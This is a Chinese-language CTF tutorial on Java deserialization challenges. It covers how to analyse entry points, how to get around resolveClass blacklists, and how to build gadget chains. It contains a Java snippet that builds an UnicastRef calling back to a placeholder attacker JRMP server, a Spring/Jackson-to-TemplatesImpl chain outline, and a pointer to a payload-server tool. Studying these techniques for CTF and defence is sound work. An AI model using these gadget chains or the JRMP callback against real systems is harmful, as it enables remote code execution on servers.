前言
這段時間做了幾道Java反序列化題目,發現很多題目都是類似的,并且可以通過一些非預期gadget打進去,就打算總結一下常見的題目類型以及各種解法,并提煉出一般性的思維方法。
正文
分析入口點
拿到題目,有附件最好。有些題目也并非是黑盒,可以通過路徑穿越等方式把源碼拉取下來,例如[網鼎杯 2020青龍組]FileJava。
題目比較常見的是Spring Boot框架。找到入口點,分析反序列化的具體方式。CTF中的Java反序列化一般是三種方式:
- 原生反序列化
- Jackson/FastJson反序列化
- 框架自寫的反序列化(Hessian2/Kryo)
原生反序列化入口點分析
以**[MTCTF2022]easyjava**為例:
使用了自寫的MyObjectInputStream類來處理反序列化,一般來說都會重寫resolveClass方法對黑名單類進行一次判斷:
這種黑名單判斷是無法繞過的,其原理在于原生反序列化流程會創建一個desc(類描述符),其name屬性是類的全限定名,resolveClass方法對desc里的name屬性進行黑名單檢測,這里的desc是我們無法自行修改的。
還有一種黑名單對String進行包名檢測:
很好繞過,P神的這篇文章有詳細分析。
話說回來,對于resolveClass方法對desc.name進行黑名單檢測,一般的思路是如何的呢?
- 最好是0day,但是常規來說也沒人專門捏著0day往這里砸吧;
- 其次是黑名單里沒寫的類,比如UncaistRef或者其外面的代理類(這個類的優點我下面會講);
- 再者是打二次反序列化,不走題目給的resolveClass邏輯······但是往往一些比較常用的二次反序列化類(Signedobject、RmiConnector)也放不出來,自己多積累幾個。
- 最后就是看看題目給的一些類。
上面所講的四個思路是通用的,并且在下文都會用到。
Jackson/FastJson反序列化
部分CTF題目有用到這種反序列化,比如Bugku-CTF-Java Fastjson Unserialize、[VNCTF2021]realezjvav等。但是原理比較簡單,無非起一個遠程服務,然后反序列化com.sun.rowset.JdbcRowSetImpl等類觸發一個RMI或者LDAP請求。這里就不做贅敘。
框架自寫的反序列化(Hessian2/Kryo)
無論是Hessian2還是Kryo,其原理都是在反序列化過程中,如果反序列化對象是Map類,都會調用對應的put方法。
下面以[CISCN 2023 西南]seaclouds為例,該題采用kryo反序列化。在賽場是0解,因為賽制是斷網,憑借個人調試發現該利用點是比較有難度的。
這種框架自寫的反序列化,我們的側重點是分析各種類的反序列化流程,冀以找到自動調用的方法,比如kryo反序列化HashMap類,使用MapSerializer觸發put方法:
構造gadget
構造gadget是一門大學問,想要能力有所提高,就應該盡可能地嘗試多種鏈子。
構造之前
不要急著構造鏈子,先看看題目提供了哪些依賴。
有些題目給的依賴多一點,比如[MTCTF2022]easyjava:(只給出常見的可以利用的依賴)
- "BOOT-INF/lib/jackson-databind-2.13.3.jar"
- "BOOT-INF/lib/jackson-annotations-2.13.3.jar"
- "BOOT-INF/lib/jackson-core-2.13.3.jar"
- "BOOT-INF/lib/tomcat-embed-core-9.0.65.jar"
- "BOOT-INF/lib/shiro-core-1.5.2.jar"
- "BOOT-INF/lib/commons-beanutils-1.9.4.jar"
- "BOOT-INF/lib/commons-collections-3.2.2.jar"
- "BOOT-INF/lib/hibernate-core-4.3.8.Final.jar"
- "BOOT-INF/lib/hibernate-commons-annotations-4.0.5.Final.jar"
- "BOOT-INF/lib/javassist-3.18.1-GA.jar"
有些題目給的就很少了,比如**[CISCN 2023]deserbug**:
commons-collections-3.2.2,真的令人難評。該版本對一些敏感類進行了一個檢測,具體參考這篇文章
因為deserbug這道題沒有給出設置系統屬性的依賴,所以我們即使使用UnicastRef打到JRMP服務端,也利用不了cc3等鏈子。
遇到這種情況,就該看看題目所給的類對我們有沒有幫助。deserbug給了Myexepct類,危險方法如下:
那很好說了,TrAXFilter類在實例化過程中會調用TemplatesImpl.newTransformer方法:
要注意的是,Myexpect類的typeparam屬性得是new Class[]{Templates.class}
。
有些題目是只允許白名單,比如**[羊城杯 2020]a_piece_of_java**:
那就只能老老實實利用題目給的類了。
如何構造
現在,我們知道入口點和觸發點了,但是如何構造鏈子呢?
UnicastRef
我比較喜歡利用UnicastRef類,它有以下幾個優點:
- JDK自帶的,對依賴沒有要求
- 該類有readExternal方法,相當于readObject方法,無需為尋找調用鏈煩惱
- jrmp服務端響應的數據走系統的反序列化流程而不是題目重寫的MyObjectInpuct()
- 黑名單禁止該類?我有更多的方法(下文講)。
缺點:
- 本質上是打一個JRMP請求,不能斷網
- 黑名單常客
構造POC也很簡單:
public static UnicastRef getRef() throws Exception {ObjID id = new ObjID(new Random().nextInt()); // RMI registryTCPEndpoint te = new TCPEndpoint("xxx.xxx.xxx.xxx", 13999);UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));return ref;}
上面說了,如果把UnicastRef放到黑名單怎么辦,具體原理可以參考筆者blog,看Lab7:JavaDeserializeLabs
簡而言之,我至少有這么多個的代理類可以選:
實際上反制手段也不難,把RemoteStub類甚至RemoteObject類給寫入黑名單就可以了。
常用依賴
不看UnicastRef了,想想別的辦法。那就只能看依賴了。現在很多題目都使用Spring Boot,以其為例。
Spring Boot自帶Jackson,Jackson本身存在一些類可以用于原生反序列化。再說,Spinrg Boot本身配合Jackson,就可以打出好幾個鏈子。
不說yso給的Spring1和2,還有這一條:
/*** hashMap#put()->* HotSwappableTargetSource#equals()->* Xstring#equals()->* BaseJsonNode#toString()->* templatesImpl#getOutputProperties()*/
然后這位師傅也發現了一條只依賴Spring-aop的:在spring-aop中挖掘新反序列化gadget-chain
Java Chains
P神等大佬寫的工具,內置了很多鏈子,肯定有大家沒了解過的,多翻翻:
這個工具還有JNDI、JRMP、Fake Mysql等的服務端和payload,真的是神器!項目地址:Java Chains Official Website | Java Chains
結語
多做題,發現這些題目其實都是有規律的,先發現入口點和限制,再根據已知依賴打gadget,本質上還是要多見多積累。